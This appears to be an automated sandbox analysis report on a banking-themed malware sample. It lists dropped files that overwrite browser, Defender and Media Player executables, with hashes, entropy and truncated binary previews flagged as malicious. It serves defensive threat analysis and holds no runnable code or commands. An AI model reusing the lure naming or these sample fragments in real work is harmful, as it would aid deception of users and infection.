SHA-256:	F2E1ED761AFEA50D820364FDC17D4B1ECD222097B572587116622BCD313CD091
SHA-512:	BD416F3431A2519F848865167777729A52741666E2D8BA3AFE74807B7E8AD75915452F8DDFA8517544A2C96570359F1FCC517F1908B1598DB76D44CA6C6FC1FF
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e..........".................0..........@..............................%.......$... ..........................................}..Z...Z}...............@..`...................$k.......................j..(.......@............... ............................text...V........................... ..`.rdata..Hv.......x..................@..@.data...t....`.......>..............@....pdata..`....@.......6..............@..@.00cfg..0...........................@..@.gxfg....+.......,..................@..@.retplne.....@...........................tls....A....P......................@..._RDATA..\....`....... ..............@..@malloc_h.....p.......".............. ..`.rsrc................$..............@..@.reloc...............<..............@...........................................................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1984512
Entropy (8bit):	7.098273000165978
Encrypted:	false
SSDEEP:	49152:pSK7Fhsly2EPfOGE4LNiXicJFFRGNzj3:YU2cO47wRGpj3
MD5:	C99C88D2120E1E9B20A95062A487E70D
SHA1:	E3BE527F5DE6C80821E7CEBF6C11F340A2834482
SHA-256:	5C76453B4B50E56BAEDBFF5609CC869F816EBBF3025D78319151EB91BAC39642
SHA-512:	E8965D784B834374CF4FE5FDA396BD47D5B883205AEBCD4BEE2DD23110C5B9BFBDCF885E5918EFA4D2C9A4300DCB2E934C75CD8A0BF993D437542C28920EAD88
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."............................@....................................A..... ............................................\...$................p..t...............................................(...P...@...........x...x............................text............................... ..`.rdata..............................@..@.data................z..............@....pdata..t....p.......x..............@..@.00cfg..0...........................@..@.gxfg...@-... ......................@..@.retplne.....P.......D...................tls.........`.......F..............@...CPADinfo8....p.......H..............@..._RDATA..\............J..............@..@malloc_h.............L.............. ..`.rsrc................N..............@..@.reloc...............X..............@...................................................................................................

C:\Program Files\Google\Chrome\Application\chrome_proxy.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1779712
Entropy (8bit):	7.151347051638003
Encrypted:	false
SSDEEP:	49152:Nv7e0j11mD+/wDGbqLNiXicJFFRGNzj3:BDx1mkq7wRGpj3
MD5:	03D2676A6F61D30E364B35077AC90872
SHA1:	962031BA2E2B83A8DE13C98FD6F1E9D45104BE7D
SHA-256:	5E8B61CB31CF9718F336D06AD202DD009FD422E95517F5C9CAE8974A0DF090F7
SHA-512:	E2B3745FB5BD12AB3B722CC3C2A7559E7709685DA5FDC456518CDBD402FE979893A7043553E5E618BED768037B774AD183844ED523F9761F67F8DB71997A7048
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."..........B.................@......................................... .........................................X...U...............x....p.................................................(...`2..@...............X............................text............................... ..`.rdata..,w... ...x..................@..@.data...............................@....pdata......p.......x..............@..@.00cfg..0...........................@..@.gxfg....).........................@..@.retplne.....@.......&...................tls.........P.......(..............@..._RDATA..\....`.....................@..@malloc_h.....p.......,.............. ..`.rsrc...x...........................@..@.reloc...............8..............@...........................................................................................................................................

C:\Program Files\Mozilla Firefox\crashreporter.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1533952
Entropy (8bit):	4.933085425137115
Encrypted:	false
SSDEEP:	24576:BKhS2/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:B8LNiXicJFFRGNzj3
MD5:	50675C06B78688820F85A9F584519632
SHA1:	FC730A028F089FBE706B47043FA39B5BAD3D1633
SHA-256:	4D2A1C5940071E8CCF502C560B3F50BB98E0BD2BA30DC06655D9A9ADB682D08B
SHA-512:	157B4F90A2E4F31EBCBAE0805B10304530DBD83582C1826F27622BFDFD54454587645C8AA3F38F605231943888E72FBDB84BBE80BAB454BC7FDB62D9620F6140
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."............................@..............................".....D..... ..................................................................P......................T...........................(...p...8...........H................................text............................... ..`.rdata...h.......j..................@..@.data........@......................@....pdata.......P.......0..............@..@.00cfg..(....`.......@..............@..@.tls.........p.......B..............@....voltbl..............D...................rsrc................F..............@..@.reloc...`... ......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\default-browser-agent.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1286656
Entropy (8bit):	7.213925180585707
Encrypted:	false
SSDEEP:	24576:usFfc1VyFnTUQn652bO4HJ/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:usFcInTrJfLNiXicJFFRGNzj3
MD5:	8A4EA576196A6EE617A986831EAEF815
SHA1:	F45E5CBA64797E654BDD16451970FBE75EDB8A59
SHA-256:	78C6B8DC90E6171E2C10D2259C7508DC71D55881CB7EE6BCD65178E038A70AC0
SHA-512:	424ECAB9870960C6CD15FFE95D46F9D478F0B778376659A84D1A10405332FB56F3703DF5D118E0A39F470958F41C5D338EFA1E8584478A95FB8A561F6896BF55
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......6..........pX.........@.....................................K.... ..........................................J.......K..........`........%..................DA..........................(...`...8............V...............................text...V5.......6.................. ..`.rdata...O...P...P...:..............@..@.data...............................@....pdata...%.......&..................@..@.00cfg..(...........................@..@.tls................................@....voltbl..................................rsrc...`...........................@..@.reloc....... ......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\firefox.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1246208
Entropy (8bit):	7.485578003142355
Encrypted:	false
SSDEEP:	24576:Vt9j6p4xQbiKI69wpemIwpel9C/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Vt9+aQbtl2peapelwLNiXicJFFRGNzj3
MD5:	C6336676C3E6C992DBAFE0E3ED7DC516
SHA1:	7E528473F7C6C422B23574295D5EC870FCB129AD
SHA-256:	D0FE0093386950A96244C15D0B0F566EB4678B35D7AC2A6E6D5573FF0BDDC677
SHA-512:	C05776750B1C03974438C25492201E7D50E16239F4CD09158DA42548720E1F98C31D187313F87F79F0A0470B76D42B36724C9974827386617FA85E2E4E39079D
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......$.....................@.......................................... .................................................g...h............P..t%..................4........................k..(....@..8...........P...........@....................text....".......$.................. ..`.rdata.......@.......(..............@..@.data...p+... ......................@....pdata..t%...P...&..................@..@.00cfg..(............2..............@..@.freestd.............4..............@..@.retplne$............6...................tls.................8..............@....voltbl..............:...................rsrc................<..............@..@.reloc...............$..............@...................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\maintenanceservice.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1512448
Entropy (8bit):	4.897886111511821
Encrypted:	false
SSDEEP:	24576:QQVTZu0Jh/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:vVTZuALNiXicJFFRGNzj3
MD5:	2EE59823DD833777D9445FCF955CF469
SHA1:	236325100CF38AE7A2043572E08C7BB58FB40A98
SHA-256:	834B8CF02287C49F1D7C40C4EAD7779C29140E8E650198E4695F3020FB6A98AC
SHA-512:	48EC9C4D50126E6EA7BDE73B82837179D89692F9AA3B9B6A24CC22A410BA89AD4514DFCC810FC5012E26F8D6AB2179D2591BEC081D196490B1E4A7E1FBC1D203
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@.............................`"......$.... .................................................h&..................`....................$..........................(....p..8............,...............................text...FQ.......R.................. ..`.rdata.......p.......V..............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl.*............h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...`...........t..............@...........................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\minidump-analyzer.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1344000
Entropy (8bit):	6.798378998671327
Encrypted:	false
SSDEEP:	24576:XC1vpgXcZ/zv/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:XC1vpIc9vLNiXicJFFRGNzj3
MD5:	2575A6071E7B2F217D3CCC777C8DEA64
SHA1:	76782370B6C2EF1990B1BC26586DAD87E2E573B7
SHA-256:	AC44FCD5473A2927B826504B6DA4B50D19EA769E83A78EDFE41B697B86D30AF6
SHA-512:	94BE254F1EBE6AA87C82B8763E7D0570921C3780FAC0226B903813C86F6921942DB48B718A0FCF05EB34BA8E7314468EEA7CB85807FB167D8F48FE790B1459E0
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......T...H......0..........@.......................................... .........................................................................................T........................r..(....p..8...............`............................text...fS.......T.................. ..`.rdata.......p.......X..............@..@.data....2...@...,..."..............@....pdata...............N..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl..............h...................rsrc................j..............@..@.reloc... ...........r..............@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\pingsender.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1355776
Entropy (8bit):	4.6511426773040885
Encrypted:	false
SSDEEP:	24576:/S7/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:CLNiXicJFFRGNzj3
MD5:	2A372B8E403400EAA151AF673EFE0ADC
SHA1:	664D95837ECAE1F2291E12238456D68099972159
SHA-256:	7884AA219D1465C1C4016438348154CF793F89BB0925ECE33FC6C7034B3C2F9D
SHA-512:	26509D1E4E06C378767E7043CF036018B97FE2CD92371A45A8F2A43DE4533171ED549574DCF28D9F551D61D42681C16DE956CFFBAB5B35C5B588B25781C2EE3C
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."..........b......`..........@....................................z..... ..........................................................`....... .. ...................t...........................(.......8............................................text............................... ..`.rdata..dM.......N..................@..@.data...............................@....pdata.. .... ......................@..@.00cfg..(....0......................@..@.tls.........@......................@....voltbl......P...........................rsrc........`......................@..@.reloc...`...p......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\plugin-container.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1564160
Entropy (8bit):	5.002299084189597
Encrypted:	false
SSDEEP:	24576:fWDntIfGpR/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:eZIe3LNiXicJFFRGNzj3
MD5:	6F6DF32E22BE5DB805863842BDD15A64
SHA1:	723904FECBCA2EABE799D2775082004AAB3FAE7D
SHA-256:	FF24D36E5A88F22BFD69CEB19D299534B930B7BD2B5B5068285E75188B1D7B2B
SHA-512:	66B31EEBFD06B54AA8858B221339D85048854E650FE07402E3D1DA38C671A0F60B7DC034C93D337FF469DFF81BAED75989B322F3A3DA51EECB6C257C9A87870D
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......~.....................@..............................#.....,..... .....................................................@.......P....P.................................................(... ...8...................8........................text...w}.......~.................. ..`.rdata..,...........................@..@.data...0%... ......................@....pdata.......P......................@..@.00cfg..(....p.......*..............@..@.tls.................,..............@....voltbl..................................rsrc...P............0..............@..@.reloc...`...........>..............@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\private_browsing.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1340928
Entropy (8bit):	4.611608218070923
Encrypted:	false
SSDEEP:	12288:rIhjiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:KX/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	FE8EE071E09DE5224FDA5EF3BD5DDE7B
SHA1:	CE660E4CCBF85072083684B11FC6304C53D9A128
SHA-256:	3857F64E1F23E2B07AE9E228C759DA8BC7ECCD314D477A2BBCEE629459AE6E1C
SHA-512:	21C5FA4C41EC8362ED97862C972AE7C8D320E8CAC7FB67B6C9A63499858AE27BF4E3E928C7D473C807D64242BFE9223AEF94FE75D9E700B7FB38AD55EFB6D259
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e..........".................p..........@....................................^..... ..................................................6...............`..4....................5..............................`0..8............:..H............................text............................... ..`.rdata.......0......."..............@..@.data........P.......8..............@....pdata..4....`.......:..............@..@.00cfg..(....p.......>..............@..@.voltbl..............@...................rsrc................B..............@..@.reloc...`...0......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\updater.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1687552
Entropy (8bit):	5.0153845307020575
Encrypted:	false
SSDEEP:	24576:w8oRswt2ioQ3J+Ry/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:w8oRxoFyLNiXicJFFRGNzj3
MD5:	CA98D11B1ABD2F34A56ED16D1D9AF046
SHA1:	5B670257D001170FD4AF14F0C36E1E33D250DE01
SHA-256:	31E725904850485E6DFCDC88F25E3BED1A8A84A4768D4F4CD6B2219CD963ABAF
SHA-512:	79778B9F78B16F149EAAB230B01D72F816957C0240FFFF59E70D9DD12A84A930F9E5C8A776C8C40E93784A7269EBE536C42096F3B11FD44EE169D0E0D9EAF570
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......N...........B.........@..............................%........... ..................................................;.......0..X~....... ...................6..........................(....`..8...........0B..H...H9..`....................text....L.......N.................. ..`.rdata.......`.......R..............@..@.data....>...........h..............@....pdata... ......."...v..............@..@.00cfg..(...........................@..@.tls................................@....voltbl.<..............................._RDATA....... ......................@..@.rsrc...X~...0......................@..@.reloc...`........... ..............@...........................................................................................................................................................................................................................

C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1497600
Entropy (8bit):	4.791078378932267
Encrypted:	false
SSDEEP:	24576:hf8HQlTMxHwJ07wR/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:hkHQlawJ0SLNiXicJFFRGNzj3
MD5:	3206E24DCAD73836B9178A36081FFB69
SHA1:	320E6231177189C712F501D981B177277DE0F87E
SHA-256:	6044914105C99FCEE2FF053C8590198B94D5794FEC9C74552C7D27A235ED0990
SHA-512:	66630DB53E84E7A0FFEAFCABE5D6BBD289832C53102484F31B25BDE7DC36F7A2D8C0FA3BF9CE830C2DB8422FE7746F286A430FACFF44E3BBF8D47833AB9EA595
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........x..............a.......r.......r...............r.......r.......r.......ry......r{......r......Rich....................PE..d...B{.?.........."............................@..............................!.......... .......... ......................................8b..........................................T.......................(...................@...(...pa..`....................text............................... ..`.rdata..............................@..@.data....&...........z..............@....pdata........... ..................@..@.didat.. ...........................@....rsrc...............................@..@.reloc...`...........:..............@...................................................................................................................................................................................................................

C:\Program Files\Windows Media Player\wmpnetwk.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1534464
Entropy (8bit):	7.1171717558806495
Encrypted:	false
SSDEEP:	24576:mSEmYD6gjGPG45QVDkfX4lyTyB/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:m5mYD6g2GWQVQfeyTmLNiXicJFFRGNzb
MD5:	255C15D8B8FBDFB400C23AFF35A08C46
SHA1:	E5CAA82ECA9EA9AFD09698FC450D54BF33158D5F
SHA-256:	A3B9757B12365F766D6DC75C51032361D60A464AC8F868E6D507336254314050
SHA-512:	8AF2499913A8DCA8F9BBD3593FC32FA3B17EEB4AF9F10428C5FCF2D76774FB933D8C1AA6DA1208938B5B4F722D76C9EB62453692EF2CCD5B57DCC1A4C7266972
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."x..f..Ef..Ef..EoaKEd..Err.De..Err.DB..Err.Dh..Err.D}..Ef..E...Err.D]..Err'Eg..Err.Dg..ERichf..E........................PE..d..."..m.........."..........4......@:.........@......................................... .......... ..........................................,............`...N.................. ...T...........................p...................X...h...@....................text.............................. ..`.rdata...\.......^..................@..@.data....Y.......8..................@....pdata...N...`...P..................@..@.didat...............l..............@....rsrc................n..............@..@.reloc..............................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Hegeleos

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	93696
Entropy (8bit):	6.839650012638765
Encrypted:	false
SSDEEP:	1536:vhdlOFKMD4R2BfFo8PAsCkloIirECXlhfavrUhKyt+EFGu4TmC8WtLNjN2Q5BS55:ZdUFBa2VNPAsCkloIirECXlpazzytlFt
MD5:	1C761A6889D1FEF7FB0ECE8A758C2E24
SHA1:	1F54C6F04E43FEEEBA01C891D122C8D14F754F0E
SHA-256:	2FA75C8DA11FD0852903A69F6E96B62A19C4C40BE558BDF93A06CA0DA4D5ED7F
SHA-512:	60DC90F1D335D818D1409E224E3EECD56EBA46430559C8188D1F20C2CCD4D735BFF70EF7CF06B6B0D9E1F53F00FF96F10857C4F072C947CEA532F5A2CCFCDBA7
Malicious:	false
Preview:	.c.NF4NCTUOP..W9.8XICJP9uNE4NCPUOPLIW9X8XICJP95NE4NCPUOPLIW9.8XIMU.75.L.o.Q..q.!>JxH&$81T.-$Z ,$u-5l;"WxQ6i....X!!Q`N]_kPLIW9X8..CJ.86N..;.PUOPLIW9.8ZHHK.95D4NKPUOPLIY.Y8XiCJP.4NE4.CPuOPLKW9\8XICJP91NE4NCPUO.MIW;X8XICJR9u.E4^CPEOPLIG9X(XICJP9%NE4NCPUOPLI..Y8.ICJP.4N.1NCPUOPLIW9X8XICJP95.D4BCPUOPLIW9X8XICJP95NE4NCPUOPLIW9X8XICJP95NE4NCPUOPLIW.X8PICJP95NE4NCXuOP.IW9X8XICJP9.: L:CPU[2MIW.X8X-BJP;5NE4NCPUOPLIW9x8X)m8#KVNE4.FPUO.MIW?X8X/BJP95NE4NCPUOP.IWyvJ=%,)P99NE4N.QUORLIWUY8XICJP95NE4NC.UO.LIW9X8XICJP95NE4..QUOPLI.9X8ZIFJH.5N.NCSUOP.IW?8.XI.JP95NE4NCPUOPLIW9X8XICJP95NE4NCPUOPLIW9X8XI.7.6...]=.UOPLIW8Z;\OKBP95NE4NC.UOP.IW9.8XItJP9.NE4#CPUkPLI)9X8&ICJ495N74NC1UOP.IW978XI-JP9KNE4PAxJOPFcq9Z.xIC@P..=d4NI.TOPH:u9X2.KCJTJ.NE>.@PUK#hIW3.<XIG9u95D.1NCT..PO.A?X8C&{JP35M.!HCPNevLK..X8RIilP:.[C4NXzwOR.@W9\..:^JP?..E4D7YUOR.CW9\.FKk.P9?dgJ]CPQdPfk)-X8\bC`rG NE0eCzw1FLIS.X.z7TJP=.No2d!P'.\L9TV98XOk.P9?f.4NEP.uP2GW9\:7.CJZ...E..CPSOx.IW?X..ICLP.aNE2Nk.UOVLcm9phXIEJxh5NC4d.P+\|PLM{>&.XIGaFG.NE0.E(U

C:\Users\user\AppData\Local\Temp\autC5C5.tmp

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	66002
Entropy (8bit):	7.90342236913907
Encrypted:	false
SSDEEP:	1536:IJb6y284yhgw/ADEeO3y78Cao7uzASH6MgoUuM5KA:S6ySw/oguviU4V7UvKA
MD5:	F418B8319DF2AB33B43527D34B55BAF5
SHA1:	D2CF1272C89E2CCCA3084036C90E7173A07B6D4D
SHA-256:	C7CFBBF8F4ED0BE863D33CD9CE9979E72295F6E117CF5BAA6DEF6AD1D8033C34
SHA-512:	FDFB1D75CECA401710BE833186EB7AE130089C2FE9091BF3B7172B34CF77900FE33DCE4BA507C16E02442A14AB1A6D73F8859763D077659E7CDE2B6FBCD8D63A
Malicious:	false
Preview:	EA06..n......4.C.Ui....9.N+....9.....@.X.Rj....f....`.X..}Sy......1...1!.R...T.I8.."..%jA,.]e.[d.EW.Tf.<....Hd5..:._..,f.......;......5..V...\.s5.Q&..X..+;...i..33@.B.C.]@..]^s\.....k[.m&.;...Jsu..f...B.....5.@.f$.....+3..$.c.9.....M(@!.......N....X.@....R.d........b[B.T'`....qX..g.:]X.X.Q.....a?.,%. ...I..n..Y).Ng ....U.....d.k..Ui. ...}..7Q..b.I.R..y.;..P.`..X...}k.......-p&.......}...lN+S..>.B.,..X..........D....... .@..0..4.,&..........p..Z.XR......J..(.;....Rht..O.=.M)..R.P.N.....K.....:.>.P.Z\..I........u..h.P.B....).z..QC.^.U......(u.u..L......J.i.T'\...iN.^....2...D....?..(.J$...s(`....k..'3.%..]..6J...)..'.....r..).Y...z..h..MN%X.^..JUB{..[.VI.BO.S'5J..qX.....E....T/.Z....N........(..%..S..#@?LB.I.....:.2.Z.Z}Z.c..n...&.J.Z&......J..e6.>.B.<.......6.Y@.a?...5(.b..<Ds@#.:....4.MFsp..!W@.&...Ui5.$..9.N.....9..(.JE....v)7.=bup..M...6q..J*..m..W...\....Y. ...g..)5...MZ..X...mA.P..[.............!b.......~.9..(.y.\..L.@....I..R.Db.4.Z

C:\Users\user\AppData\Roaming\aed9f0dd1e9bf5c4.bin

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.984711361270375
Encrypted:	false
SSDEEP:	384:yOgIimdNU4bytvYBRob6VVsCimaCoG2AufUwmd9:yOfU4SABhVhhaCoG2Ahhd9
MD5:	4B33699EC5A72B35AF5171EAF0A7C245
SHA1:	A0433EF2DE201AC98719460185849D8E2A481037
SHA-256:	F50BA2CB155981030224D94CEDF0C4F35C74FAA59538C67298CE41025D5EDD5D
SHA-512:	7C7A179B40A097321EE27BBDD91AEEA42885F6767F7B094230014E57AA87FE6AF605FF392C16F5F8851CF81386A061B8AF4F61F8C096046D4F777B7B6542EE65
Malicious:	false
Preview:	.....s?G.].....9FC....n$cp .r.....gQ(........$IH.... %a.- .....a......6W..3....t.D.\}_5)..<...,.#.j/..;...I..w1..._$.T~i..=..w.U...J.S....$0Xm..LD(.l..N....&.s...O...p%.gJ.R4..q.H#N.'..R..3...J.;.iIy..I...:..N....J..H..t3N..N.._... h9..0..d......?......;~x..F...z..6/.+<....'.7._....b..:{.D...9...5.NYp.k..lv.....KR.a.b.1.....E....H..<&...Xg[....6Q..Y9.t....S..w.T.C.s.>JAdt.@l..B.L@t.....$.]sd.y..F.}..`m..]J([4B....psz)..B..c......1O..{7_...Ay...o..V.9../UY..'.:=..M....Q..h]<2.Vn.{......H.0w.._~../.hP..Z.........6c7(...Q.\0k0..SO..#.V;Me.8.+>..<x.D0.h=...~eh..7]....%...4......$)=.n.L.}....bj....:.Hd.m.....K. @...P....,9........@.I~m.C.-....T..lS.......Z(x.U..t....k...r.....t....D.n..4..l+U...2....._0Pa.............{.).H..;_..:....;7vx.._...?.[..s..V..59OW..#.w.....'.w<w.]..w.K.\|..jY..L...gi.0@7....{M....X34........GC.._......A0.<..).\.\|.+.}..v..\|.[...{7........Y}N6C1p....=.,...JB\.\|......7.l...x.(....>..........u+.*..DB.'CQQ.$..B..VE..>.+..v..

C:\Windows\DtcInstall.log

Process:	C:\Windows\System32\msdtc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	2313
Entropy (8bit):	5.133468948582604
Encrypted:	false
SSDEEP:	48:32qhuhCehuhqfhuhofhuhE2qhuh6987FMx7F/rt57wt+07FKC7867qrT7FoC786W:Z070s0Y0q0mF7Dm51
MD5:	AC1D4010B78250EFA82F461C1EF0B5CA
SHA1:	0AFEBFC203760E9AEADE87170E61B75724C48BD3
SHA-256:	987E68A6BFBF1F96C2254ADC3F2385FB1DD9F533633278C1811A1D45B6CD35E3
SHA-512:	4C259B3FCFAACBD56DC8EF603BCC4CE685F800DD8DC543560F14C09A6282C91AED2F5FA8379F6A2154C168E301B342812399A5BE8223A839D706E8B3D0A64C01
Malicious:	false
Preview:	12-07-2019 09:17 : DTC Install error = 0, Enter MsDtcAdvancedInstaller::Configure, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (367)..12-07-2019 09:17 : DTC Install error = 0, Action: None, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (396)..12-07-2019 09:17 : DTC Install error = 0, Entering CreateXATmSecurityKeyCNG, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (1700)..12-07-2019 09:17 : DTC Install error = 0, Exiting CreateXATmSecurityKeyCNG, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (1876)..12-07-2019 09:17 : DTC Install error = 0, Exit MsDtcAdvancedInstaller::Configure, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (454)..10-03-2023 08:56 : DTC Install error = 0, SysPrepDtcSpecialize : Enter, com\complus\dtc\dtc\adme\deployment.cpp (2099) ..10-03-2023 08:56 : DTC Install error = 0, SysPrepDtcGeneralize : Enter, com\complus\dtc\dtc\adme\deploy

C:\Windows\Logs\WindowsBackup\WBEngine.0.etl

Process:	C:\Windows\System32\wbengine.exe
File Type:	dBase III DBT, version number 0, next free block index 10240, 1st item "\322h\266\203"
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.9478489356175586
Encrypted:	false
SSDEEP:	48:+zb/d4ZTyVPuvPLAr6oxeJ2q6o/46AP3ePfIPHSPvJmspsSuPobaG7/b/Q3:E/d4lrA/IJ2q6o46gaJyPd3
MD5:	3D2A912DE78A048219682B0B55E4E4AE
SHA1:	554B6E0215905CBCAF8B828E0E6F1F9EDAA5320A
SHA-256:	2BA1BF23ADD439DE48B411B3EE99C40A5A97B3E8E8EDF9674E851B06DA9F06B7
SHA-512:	07C293C904FB3C3A357EC21EB01631F17E8D97F882FED920FC3A42F5F35EB33E19DD936EDCE2F6146E3DE70A6CFC3F64BE197F1BCFB5958754E9E965004B0BF0
Malicious:	false
Preview:	.(..@...@...........................................!....................................h...............(......eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................W..............a.:Y.K..........W.B.E.n.g.i.n.e...C.:.\.W.i.n.d.o.w.s.\.L.o.g.s.\.W.i.n.d.o.w.s.B.a.c.k.u.p.\.W.B.E.n.g.i.n.e...0...e.t.l...........P.P..........h..................................................................8.B..h......19041.1.amd64fre.vb_release.191206-1406.....,.@..h.................'"a.-....spp.pdb...........@..h.......T.c..i.\.C.s"8@....vssvc.pdb......./.@..h......W.p.D.......]....vssapi.pdb......-.@..h.......\..Q....T*&.......udfs.pdb........0.@..h........B..,`..9..4.....ifsutil.pdb.....-.@..h......I:...S%9.`...'.R....uudf.pdb........1.@..h.............1$OI"......wbengine.pdb................................

C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\aed9f0dd1e9bf5c4.bin

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.98516147391507
Encrypted:	false
SSDEEP:	384:139GJoABN+O3dXPqD+Z3F2jqyA91lQePSNW1As7HT2:139erN+O3dSDk1l9QeKM1As6
MD5:	7DD7B5782CC8EADCBB8E34EB3AACFEC0
SHA1:	367BB80E851D78A34BF8A9FB477B7536E4C1A4F0
SHA-256:	2782D170E68993E0331E3E259CCFC49C30CC60E6F9D2DF3F0985DFB2A53D5EA8
SHA-512:	DFBE8643A6D813EC22526952A5F6E7EB37802251F986ADF41CC78FD95A1278DD7C3764FCE05345D888C253085AE747AB140509B552CB2CB25DA460E4D32C0CCF
Malicious:	false
